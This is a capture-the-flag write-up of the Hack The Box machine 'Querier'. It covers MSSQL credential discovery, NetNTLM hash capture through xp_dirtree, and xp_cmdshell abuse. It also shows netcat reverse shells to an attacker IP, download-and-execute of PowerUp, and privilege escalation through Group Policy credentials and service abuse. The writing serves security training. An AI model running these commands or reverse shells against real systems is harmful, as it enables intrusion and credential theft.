Querier Writeup

Querier is definitely one of the more complex boxes I've rooted so far. The process for getting user is unique and creative, while getting root relied on fundamental windows privesc techniques.

User involved going from a low level mssql account to capture netntlm hashes for a more priveleged account. Root was a lot simpler, with credentials being stored cleartext in some configuation files.

Enumeration

Nmap

```
nmap -sV -sC -sT -o nmap querier.htb

# Nmap 7.70 scan initiated Wed Apr 24 22:32:17 2019 as: nmap -sV -sC -sT -o nmap 10.10.10.125
Nmap scan report for 10.10.10.125
Host is up (0.082s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
1433/tcp open  ms-sql-s      Microsoft SQL Server  14.00.1000.00
| ms-sql-ntlm-info:
|   Target_Name: HTB
|   NetBIOS_Domain_Name: HTB
|   NetBIOS_Computer_Name: QUERIER
|   DNS_Domain_Name: HTB.LOCAL
|   DNS_Computer_Name: QUERIER.HTB.LOCAL
|   DNS_Tree_Name: HTB.LOCAL
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2019-04-22T04:27:26
|_Not valid after:  2049-04-22T04:27:26
|_ssl-date: 2019-04-25T04:27:18+00:00; -1h05m12s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -1h05m12s, deviation: 0s, median: -1h05m12s
| ms-sql-info:
|   10.10.10.125:1433:
|     Version:
|       name: Microsoft SQL Server
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server
|_    TCP port: 1433
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2019-04-24 21:27:20
|_  start_date: N/A
```

Right off the bat we can tell this is some sort of windows box because of open port 445. Open port 1433 is also an uncommon port to be open so it should be worth exploring.

SMBmap

Login denied for a null session, but is allowed for guest.

```
smbmap -u guest -H querier.htb

        Disk                                                    Permissions
        ----                                                    -----------
        ADMIN$                                                  NO ACCESS
        C$                                                      NO ACCESS
        IPC$                                                    READ ONLY
        Reports                                                 READ ONLY
```

Contents of `IPC$`

```
        Disk                                                    Permissions
        ----                                                    -----------
        IPC$                                                    READ ONLY
        .\
        -r--r--r--                3 Sun Dec 31 16:07:02 1600    InitShutdown
        -r--r--r--                4 Sun Dec 31 16:07:02 1600    lsass
        -r--r--r--                3 Sun Dec 31 16:07:02 1600    ntsvcs
        -r--r--r--                3 Sun Dec 31 16:07:02 1600    scerpc
        -r--r--r--                1 Sun Dec 31 16:07:02 1600    Winsock2\CatalogChangeListener-348-0
        -r--r--r--                3 Sun Dec 31 16:07:02 1600    epmapper
        -r--r--r--                1 Sun Dec 31 16:07:02 1600    Winsock2\CatalogChangeListener-1cc-0
        -r--r--r--                3 Sun Dec 31 16:07:02 1600    LSM_API_service
        -r--r--r--                3 Sun Dec 31 16:07:02 1600    eventlog
        -r--r--r--                1 Sun Dec 31 16:07:02 1600    Winsock2\CatalogChangeListener-3f8-0
        -r--r--r--                3 Sun Dec 31 16:07:02 1600    atsvc
        -r--r--r--                1 Sun Dec 31 16:07:02 1600    Winsock2\CatalogChangeListener-3b8-0
        -r--r--r--                4 Sun Dec 31 16:07:02 1600    wkssvc
        -r--r--r--                1 Sun Dec 31 16:07:02 1600    Winsock2\CatalogChangeListener-258-0
        -r--r--r--                3 Sun Dec 31 16:07:02 1600    spoolss
        -r--r--r--                1 Sun Dec 31 16:07:02 1600    Winsock2\CatalogChangeListener-7f4-0
        -r--r--r--                3 Sun Dec 31 16:07:02 1600    trkwks
        -r--r--r--                4 Sun Dec 31 16:07:02 1600    srvsvc
        -r--r--r--                1 Sun Dec 31 16:07:02 1600    vgauth-service
        -r--r--r--                1 Sun Dec 31 16:07:02 1600    Winsock2\CatalogChangeListener-61c-0
        -r--r--r--                3 Sun Dec 31 16:07:02 1600    ROUTER
        -r--r--r--                3 Sun Dec 31 16:07:02 1600    W32TIME_ALT
        -r--r--r--                6 Sun Dec 31 16:07:02 1600    SQLLocal\MSSQLSERVER
        -r--r--r--                2 Sun Dec 31 16:07:02 1600    sql\query
        -r--r--r--                1 Sun Dec 31 16:07:02 1600    Winsock2\CatalogChangeListener-24c-0
```

Nothing too interesting

Contents of `Reporting`

```
        Disk                                                Permissions
        ----                                                -----------
        Reports                                             READ ONLY
        .\
        dr--r--r--                0 Mon Jan 28 15:26:31 2019    .
        dr--r--r--                0 Mon Jan 28 15:26:31 2019    ..
        -r--r--r--            12229 Mon Jan 28 15:26:31 2019    Currency Volume Report.xlsm
```

Spreadsheets like this could contain sensitive data, so it's definitely worth taking a look

Getting User

Lets take a look inside of `Currency Volume Report.xlsm`

{image}

A blank spreadsheet. But we are getting a warning about embedded macros. Let's take a look.

{image}

```
UID=reporting;PWD=PcwTWTHRwryjc$c6
```

Looks like this is a potential login for mssql. Impacket has a very helpful client for establishing mssql sessions called `mssqlclient.py`.

```
mssqlclient.py reporting:PcwTWTHRwryjc\$c6@querier.htb -windows-auth
```

> Special Characters like `$` in the password needs to be escaped with `\`

```
Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL>
```

And we are in as `reporting`. Quick enumeration using this cheat sheet gives us some extra information

- box is running Microsoft SQL Server 2017
- box is Windows Server 2019
- `reporting` has no command execution priveleges

There are a couple databases and tables, but there doesn't seem to be anything that we can use in them.

After a lot of digging around, I came across this blog post by markmotig. It highlights a specific trick for intercepting netntlm hashes by smb authentication. Checking our permissions, it looks like we can use `xp_dirtree`

In short:

- Use impacket's `smbserver.py` to host an smb server.
- Use `xp_dirtree` to make an smb connection back to the our machine
- `smbserver.py` captures the netntlm hash created from sql authenticating to our machine
- crack the captured hash

SMBServer

```
smbserver.py TMP /tmp -smb2support

Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```

SQL Server

```
xp_dirtree '\\10.10.14.2\TMP'
```

After establishing a connection to our smb server, the netntlm hash is captured

```
[*] Incoming connection (10.10.10.125,49678)
[*] AUTHENTICATE_MESSAGE (QUERIER\mssql-svc,QUERIER)
[*] User mssql-svc\QUERIER authenticated successfully
[*] mssql-
svc::QUERIER:4141414141414141:79154d94412028581c89f45588862646:0101000000000000080c409343904d5013e842d3ac9eee5ff000000000100100048004f0052004a00670
```

Now we can just crack the captured hash. I'm used hashcat with the rockyou wordlist

```
hashcat -m 5600 hashes /usr/share/wordlists/rockyou.txt --show

MSSQL-
SVC::QUERIER:4141414141414141:ef8e80daa1aa48d69eaff60920b58609:0101000000000000000150b634402d501fc340a1abc4aa337000000000100100057004900 4b007500440
```

Creds:

```
MSSQL-SVC
corporate568
```

Now we login as `mssql-svc`, which gives access to `xp_cmdshell`.

Enabling `xp_cmdshell`

- `enable_xp_cmdshell`
- `reconfigure`

Now we can easily read `user.txt`

```
xp_cmdshell type c:\users\mssql-svc\Desktop\user.txt

c37b41bb669da345bb14de50faab3c16
```

Getting Root

It's nice just reading `user.txt`, but life is going to be really difficult if we cant get a shell of some sort.

I also wanted to try a different form of file download besides just powershell, just for practice. I found this trick for file transfer from this blog post by hakluke.

File Transfer here's the series of commands that I used to build `wget.vbs`

```
xp_cmdshell echo strUrl = WScript.Arguments.Item(0) > %TMP%\wget.vbs
xp_cmdshell echo StrFile = WScript.Arguments.Item(1) >> %TMP%\wget.vbs
xp_cmdshell echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> %TMP%\wget.vbs
xp_cmdshell echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> %TMP%\wget.vbs
xp_cmdshell echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> %TMP%\wget.vbs
xp_cmdshell echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> %TMP%\wget.vbs
xp_cmdshell echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> %TMP%\wget.vbs
xp_cmdshell echo Err.Clear >> %TMP%\wget.vbs
xp_cmdshell echo Set http = Nothing >> %TMP%\wget.vbs
xp_cmdshell echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> %TMP%\wget.vbs
xp_cmdshell echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> %TMP%\wget.vbs
xp_cmdshell echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> %TMP%\wget.vbs
xp_cmdshell echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> %TMP%\wget.vbs
xp_cmdshell echo http.Open "GET", strURL, False >> %TMP%\wget.vbs
xp_cmdshell echo http.Send >> %TMP%\wget.vbs
xp_cmdshell echo varByteArray = http.ResponseBody >> %TMP%\wget.vbs
xp_cmdshell echo Set http = Nothing >> %TMP%\wget.vbs
xp_cmdshell echo Set fs = CreateObject("Scripting.FileSystemObject") >> %TMP%\wget.vbs
xp_cmdshell echo Set ts = fs.CreateTextFile(StrFile, True) >> %TMP%\wget.vbs
xp_cmdshell echo strData = "" >> %TMP%\wget.vbs
xp_cmdshell echo strBuffer = "" >> %TMP%\wget.vbs
xp_cmdshell echo For lngCounter = 0 to UBound(varByteArray) >> %TMP%\wget.vbs
xp_cmdshell echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> %TMP%\wget.vbs
xp_cmdshell echo Next >> %TMP%\wget.vbs
xp_cmdshell echo ts.Close >> %TMP%\wget.vbs
```

And it's usage uses cscript to execute it.

```
xp_cmdshell cscript %TMP%\wget.vbs http://[attackerip]/file filename
```

To get a reverse shell that bypassed windows defender, I opted to upload a netcat binary to save time.

- `xp_cmdshell cscript %TMP%\wget.vbs http://10.10.14.2/nc.exe nc.exe`
- `xp_cmdshell c:\windows\system32\cmd.exe cmd /k %TMP%\nc.exe -e c:\windows\system32\cmd.exe -nv 10.10.14.2 4444`

Privesc

On Windows systems with access to powershell, I always opt for PowerUp from the PowerSploit Package. We can load the powershell module into memory through powershell, bypassing most forms of Windows Defender.

```
iex (New-Object Net.WebClient).DownloadString('http://10.10.14.2/PowerUp.ps1')
```

I like to first 'upgrade' from cmd to powershell using `powershell -ep bypass` just in case there are any rules against us running scripts like PowerUp. Running `Invoke-AllChecks` gives us a lot of output.

Here's the relevant output.

```
[*] Checking service permissions...

ServiceName   : UsoSvc
Path          : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart    : True

[*] Checking %PATH% for potentially hijackable DLL locations...

ModifiablePath    : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
IdentityReference : QUERIER\mssql-svc
Permissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}
%PATH%            : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
AbuseFunction     : Write-HijackDll -DllPath 'C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'

[*] Checking for cached Group Policy Preferences .xml files....

Changed   : {2019-01-28 23:12:48}
UserNames : {Administrator}
NewName   : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File      : C:\ProgramData\Microsoft\Group
            Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
```

With Plaintext Credentials

Because plaintext credentials are stored on the system for `Administrator`, this box is already as good as rooted. To get an elevated shell, we can simply psexec into the box with the new credentials.

Once again, Impacket has us covered with `psexec.py`

```
psexec.py Administrator:MyUnclesAreMarioAndLuigi\!\!1\!@querier.htb cmd.exe
```

```
Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation

Password:
[*] Requesting shares on querier.htb.....
[*] Found writable share ADMIN$
[*] Uploading file YbKhfMjB.exe
[*] Opening SVCManager on querier.htb.....
[*] Creating service VqUZ on querier.htb.....
[*] Starting service VqUZ.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>
```

rootshell

We have system. From here we just simply read `root.txt`

With A Writeable Service

One easy way is to simply use `Invoke-ServiceAbuse` from PowerUp to simply read root.txt.

```
Invoke-ServiceAbuse -Name 'UsoSvc' -Command "cmd.exe /c type c:\users\administrator\Desktop\root.txt > C:\Users\mssql-svc\AppData\Local\Temp\root.txt"
```

Spawning a reverse shell is a lot more challenging, because the process spawned dies extremely quickly. If there's a better way to do this, I would love to know.

```
Invoke-ServiceAbuse -Name UsoSvc -Command "C:\Users\mssql-svc\AppData\Local\Temp\nc.exe -e cmd.exe 10.10.14.14 4445"
```

```
$ nc -lvnp 4445
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::4445
Ncat: Listening on 0.0.0.0:4445
Ncat: Connection from 10.10.10.125.
Ncat: Connection from 10.10.10.125:49686.
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>
```

rootnetcat

Either way, we have system, so we can just read root.txt

```
b19c3794f786a1fdcf205f81497c3592
```